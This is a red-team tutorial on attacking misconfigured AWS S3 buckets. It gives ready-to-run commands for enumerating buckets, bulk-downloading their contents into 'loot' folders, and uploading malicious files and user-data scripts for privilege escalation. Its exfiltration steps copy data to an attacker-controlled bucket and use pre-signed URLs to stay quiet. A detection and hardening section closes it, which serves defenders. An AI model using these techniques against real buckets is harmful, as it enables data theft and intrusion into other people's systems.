Introduction

Amazon S3 (Simple Storage Service) has been at the center of some of the most damaging data breaches in cloud history. From exposed customer databases to leaked government documents, misconfigured S3 buckets remain a goldmine for attackers — and a nightmare for defenders.

In 2026, S3 misconfigurations haven’t disappeared. They’ve evolved. New attack surfaces emerge from complex IAM chains, cross-account trust relationships, and the growing use of S3 as a backend for serverless and containerized workloads. For red teamers and pentesters, S3 is still one of the highest-value targets in any AWS engagement.

This guide covers the full offensive lifecycle: enumerating buckets, identifying misconfigurations, exploiting access, escalating privileges via S3 bucket policies, exfiltrating data, and understanding how defenders catch you. Whether you’re running a cloud pentest or preparing for a real-world engagement, this is your operational reference.

Practice responsibly: Use isolated environments for testing. Set up your own AWS lab or spin up a dedicated cloud VM.

Practice in an isolated cloud environment → Vultr
Spin up a pentest droplet → DigitalOcean


S3 Basics for Attackers

Before you enumerate, you need to understand what you’re looking at.

Bucket Naming and URL Formats

S3 buckets follow predictable naming conventions, which makes them enumerable. Every bucket has:

  • A globally unique name (3–63 characters, lowercase, alphanumeric + hyphens)
  • A region-specific endpoint: https://BUCKET.s3.REGION.amazonaws.com
  • A path-style URL (legacy): https://s3.amazonaws.com/BUCKET

Organizations predictably name buckets after their products, internal tools, or environments:

  • company-backups
  • company-dev-assets
  • company-staging-logs
  • company-prod-terraform-state

This predictability is your first attack surface.

Access Control Layers

S3 has multiple overlapping access control mechanisms:

  1. Bucket ACLs — Legacy object-level and bucket-level permissions. AWS deprecated public ACL settings, but many older buckets still have them.
  2. Bucket Policies — JSON-based resource policies attached directly to the bucket. Can grant access to specific IAM principals, other AWS accounts, or * (everyone).
  3. IAM Policies — Identity-based policies attached to users, roles, or groups. Control what AWS principals can do.
  4. Block Public Access Settings — Account-level and bucket-level guardrails that override ACLs and policies to block public access.
  5. S3 Access Points — Named network endpoints for accessing buckets, each with their own policy.

The critical nuance: Block Public Access settings can be enabled at the account level but disabled at the bucket level, creating pockets of public exposure even in otherwise locked-down environments.

What Attackers Want

When attacking S3, the high-value targets are:

  • Terraform state files — Often contain plaintext secrets, resource ARNs, and IAM credentials
  • Database backups.sql, .dump, .bak files with raw customer data
  • Application configs.env files, config.json, secrets.yaml
  • Source code archives — Compressed repos with hardcoded credentials
  • Access logs — Reveal what other services and users are accessing
  • Static website assets — Sometimes include embedded API keys or tokens

Enumeration Techniques

1. Passive Enumeration via OSINT

Before touching AWS directly, harvest bucket names from public sources.

Certificate Transparency Logs:

curl -s "https://crt.sh/?q=%25.s3.amazonaws.com&output=json" | jq '.[].name_value' | sort -u

Google Dorks:

site:s3.amazonaws.com "company-name"
site:*.s3.amazonaws.com filetype:pdf
inurl:s3.amazonaws.com "Index of /"

GitHub/GitLab Searches: Search for hardcoded S3 bucket names in public repos:

"s3://company" bucket_name
"amazonaws.com/company" aws_access_key

bucket-stream monitors Certificate Transparency logs in real time for newly registered S3-style domains:

git clone https://github.com/eth0izzle/bucket-stream
cd bucket-stream
pip3 install -r requirements.txt
python3 bucket-stream.py

2. Active Bucket Enumeration with s3scanner

s3scanner is the go-to tool for bulk S3 bucket enumeration and permission checking.

# Install
pip3 install s3scanner

# Scan a single bucket
s3scanner scan --bucket company-backups

# Scan from a wordlist
s3scanner scan --bucket-file wordlist.txt

# Generate a wordlist from a company name
s3scanner scan --bucket company --enumerate

s3scanner checks:

  • Whether the bucket exists
  • Whether anonymous access is allowed (list, read, write)
  • Whether authenticated AWS access changes permissions

3. lazys3 — Permutation-Based Discovery

lazys3 bruteforces bucket names using common naming patterns around a keyword:

ruby lazys3.rb company

This generates and tests variations like:

  • company-dev, company-prod, company-staging
  • companybackup, company.backup
  • dev.company, prod.company

4. AWS CLI — Direct Enumeration

If you have any AWS credentials (even low-privilege), use the AWS CLI to enumerate:

# List all buckets (requires s3:ListAllMyBuckets on *)
aws s3 ls

# List contents of a specific bucket
aws s3 ls s3://target-bucket/ --no-sign-request

# List recursively
aws s3 ls s3://target-bucket/ --recursive --no-sign-request

# Check bucket ACL
aws s3api get-bucket-acl --bucket target-bucket

# Check bucket policy
aws s3api get-bucket-policy --bucket target-bucket

# Check Block Public Access settings
aws s3api get-public-access-block --bucket target-bucket

The --no-sign-request flag allows unauthenticated access — useful for testing truly public buckets.

5. TruffleHog — Secret Scanning in S3

Once you have read access to a bucket, run TruffleHog to scan for secrets in stored files:

trufflehog s3 --bucket=target-bucket --only-verified

TruffleHog scans S3 objects for AWS keys, API tokens, database credentials, and hundreds of other secret patterns. It supports unauthenticated scanning of public buckets.


Common Misconfigs & Exploitation

Misconfiguration 1: Public Bucket with Sensitive Data

Detection:

aws s3api get-bucket-acl --bucket target-bucket
# Look for: "URI": "http://acs.amazonaws.com/groups/global/AllUsers"

aws s3 ls s3://target-bucket/ --no-sign-request

Exploitation:

# Download everything
aws s3 sync s3://target-bucket/ ./loot/ --no-sign-request

# Download specific file types
aws s3 cp s3://target-bucket/backup.sql ./loot/ --no-sign-request

Misconfiguration 2: Overly Permissive Bucket Policy

Detection — Get the policy:

aws s3api get-bucket-policy --bucket target-bucket --query Policy --output text | python3 -m json.tool

Red flags in a policy:

{
  "Effect": "Allow",
  "Principal": "*",
  "Action": "s3:GetObject",
  "Resource": "arn:aws:s3:::target-bucket/*"
}

Or worse — write access:

{
  "Effect": "Allow",
  "Principal": "*",
  "Action": ["s3:PutObject", "s3:DeleteObject"],
  "Resource": "arn:aws:s3:::target-bucket/*"
}

Exploitation:

# If write access is allowed
aws s3 cp malicious.html s3://target-bucket/ --no-sign-request

# If the bucket hosts a static website, you've just achieved XSS or defacement

Misconfiguration 3: Authenticated but Overly Broad IAM Access

Sometimes buckets aren’t publicly accessible but any authenticated AWS user (even from a different account) can access them.

Detection:

# Enumerate with your own valid AWS credentials (not the target's)
aws s3 ls s3://target-bucket/
aws s3api get-bucket-policy --bucket target-bucket

Look for policies containing:

"Principal": {"AWS": "*"}

or

"Principal": "*",
"Condition": {"StringEquals": {"aws:PrincipalAccount": "ATTACKER_ACCOUNT_ID"}}

Misconfiguration 4: Exposed Terraform State

Terraform state in S3 often contains everything you need to map the entire infrastructure:

# Check for state files
aws s3 ls s3://company-terraform-state/ --recursive

# Download and parse
aws s3 cp s3://company-terraform-state/prod/terraform.tfstate .
cat terraform.tfstate | python3 -m json.tool | grep -E "(password|secret|key|token)"

Terraform state regularly contains:

  • Database passwords in plaintext
  • IAM access key IDs and secrets
  • Private IP ranges and VPC configurations
  • Resource ARNs useful for further enumeration

Misconfiguration 5: Logging Bucket Exposure

Organizations often create a centralized logging bucket. If it’s accessible, you get:

  • CloudTrail logs — full API call history
  • S3 access logs — what’s being accessed and by whom
  • VPC flow logs — network traffic metadata
aws s3 ls s3://company-cloudtrail-logs/ --recursive
aws s3 sync s3://company-cloudtrail-logs/ ./cloudtrail-loot/

Parse CloudTrail logs to understand the AWS environment:

# Find IAM credential usage
cat cloudtrail.json | jq '.Records[] | select(.eventSource == "iam.amazonaws.com") | {user: .userIdentity.userName, event: .eventName, time: .eventTime}'

Privilege Escalation via S3

S3 isn’t just a data store — it’s a pivot point for IAM privilege escalation. This is where S3 attacks get serious.

Vector 1: S3 → Lambda → IAM Role

If you find a Lambda deployment package in an S3 bucket:

  1. Download the ZIP
  2. Inspect the code for hardcoded credentials or role assumption patterns
  3. Check what IAM role the Lambda executes with
  4. Modify the code to exfiltrate the Lambda’s execution role credentials
  5. Re-upload if write access exists
# Download Lambda package
aws s3 cp s3://company-lambda-deployments/function.zip .

# Extract and examine
unzip function.zip -d function_code/
grep -r "boto3\|credentials\|assume_role\|ACCESS_KEY" function_code/

Vector 2: EC2 User Data via S3

Some EC2 launch configurations pull user data scripts from S3. If you can write to that bucket:

# Check if any user data scripts reference S3
aws s3 ls s3://company-bootstrap-scripts/

# If writable, replace a startup script
aws s3 cp malicious-userdata.sh s3://company-bootstrap-scripts/init.sh

When the next EC2 instance launches, it executes your script.

Vector 3: IAM Policy Documents Stored in S3

Some automation pipelines store IAM policy JSON in S3 and apply it via CI/CD. If you can modify those policy documents:

  1. Find the policy files
  2. Add an Allow * statement for sts:AssumeRole on a high-privilege role
  3. Wait for the automation to apply it
  4. Assume the role

Vector 4: Bucket Policy Abuse for Cross-Account Escalation

If a bucket policy grants access to a specific external account and you control that account:

# From your attacker-controlled AWS account
aws s3 ls s3://target-bucket/ \
  --profile attacker-account

# The bucket policy says: Allow arn:aws:iam::ATTACKER_ACCOUNT:root
# You're in

For a deeper look at IAM escalation chains: AWS IAM Privilege Escalation Guide


Exfiltration

Once you have access, exfiltrate efficiently and quietly.

Bulk Sync

# Full bucket sync (noisy — triggers many S3 GetObject events)
aws s3 sync s3://target-bucket/ ./loot/

# Selective — high-value file types only
aws s3 cp s3://target-bucket/ ./loot/ --recursive \
  --exclude "*" \
  --include "*.sql" \
  --include "*.env" \
  --include "*.pem" \
  --include "*.key" \
  --include "*.tfstate"

Quiet Exfil via Pre-Signed URLs

If you don’t want to generate direct API calls from your IP, generate pre-signed URLs and download via a proxy:

# Generate a pre-signed URL valid for 1 hour
aws s3 presign s3://target-bucket/sensitive.sql --expires-in 3600

# Download from elsewhere
curl "https://target-bucket.s3.amazonaws.com/sensitive.sql?X-Amz-Algorithm=..." -o sensitive.sql

Copy to Attacker-Controlled Bucket

# Copy directly between buckets (no data touches your local machine)
aws s3 cp s3://target-bucket/sensitive.sql s3://attacker-bucket/exfil/ \
  --source-region us-east-1 \
  --region us-west-2

This is particularly stealthy as it appears as an S3-to-S3 copy in the target’s CloudTrail logs, with your account ID as the destination — but only if logging captures CopyObject events.


Defense & Detection

Understanding detection helps red teamers simulate realistic attacks and helps defenders tune their controls.

What Gets Logged

CloudTrail captures all S3 API calls when data event logging is enabled:

  • GetObject — file downloads
  • PutObject — file uploads
  • ListBucket — directory listing
  • GetBucketPolicy — policy reads
  • DeleteObject — deletions

S3 Server Access Logs provide HTTP-level logging including requester IP, user agent, and status codes.

Detection Signals Defenders Watch

  1. Unauthenticated ListBucket requests — Automated scanning tools trigger rapid unauthenticated list attempts
  2. Mass GetObject from new IP — Bulk sync operations from an IP with no prior history
  3. GetBucketPolicy + GetBucketAcl in sequence — Permission enumeration pattern
  4. Access from unexpected geo — Cross-region or international access to internal buckets
  5. New IAM principal accessing a bucket — Especially if the bucket hasn’t been accessed in 30+ days

Hardening Checklist

# Enable Block Public Access at account level
aws s3control put-public-access-block \
  --account-id 123456789012 \
  --public-access-block-configuration \
  BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true

# Enable versioning (prevents destructive overwrites)
aws s3api put-bucket-versioning \
  --bucket target-bucket \
  --versioning-configuration Status=Enabled

# Enable server-side encryption
aws s3api put-bucket-encryption \
  --bucket target-bucket \
  --server-side-encryption-configuration \
  '{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"AES256"}}]}'

# Enable CloudTrail data events for S3
aws cloudtrail put-event-selectors \
  --trail-name my-trail \
  --event-selectors '[{"ReadWriteType":"All","IncludeManagementEvents":true,"DataResources":[{"Type":"AWS::S3::Object","Values":["arn:aws:s3:::*/*"]}]}]'

AWS Security Services Worth Knowing

  • Amazon Macie — ML-based sensitive data discovery in S3. Automatically flags buckets containing PII, credentials, and financial data.
  • AWS Config — Continuously evaluates bucket configurations against compliance rules (e.g., s3-bucket-public-read-prohibited).
  • GuardDuty — Behavioral threat detection. Flags anomalous S3 access patterns and known malicious IP ranges.
  • Security Hub — Aggregates findings from Macie, GuardDuty, and Config into a single console.

For a broader AWS offensive methodology, see: AWS Pentesting Guide 2026

Also check our roundup of current tooling: Cloud Pentesting Tools 2026


Conclusion

S3 misconfigurations remain one of the most common and consequential findings in cloud security assessments. The attack surface is wide: public buckets, overly permissive policies, cross-account trust relationships, and S3’s role as a pivot point in IAM escalation chains.

For red teamers, S3 enumeration should be a first-pass step in every AWS engagement — before you touch IAM, before you look at EC2. The data sitting in misconfigured buckets often hands you everything you need: credentials, infrastructure maps, application secrets.

For defenders, the hardening checklist above covers the fundamentals. But configuration hygiene only goes so far — you need logging, detection, and regular audits (Macie runs are cheap) to catch drift before an attacker does.

The cloud is not inherently insecure. But it is unforgiving of misconfiguration.


Need expert cloud security content for your blog or security team? CipherWrite delivers pentest-grade technical writing — articles, whitepapers, and LinkedIn content that actually ranks.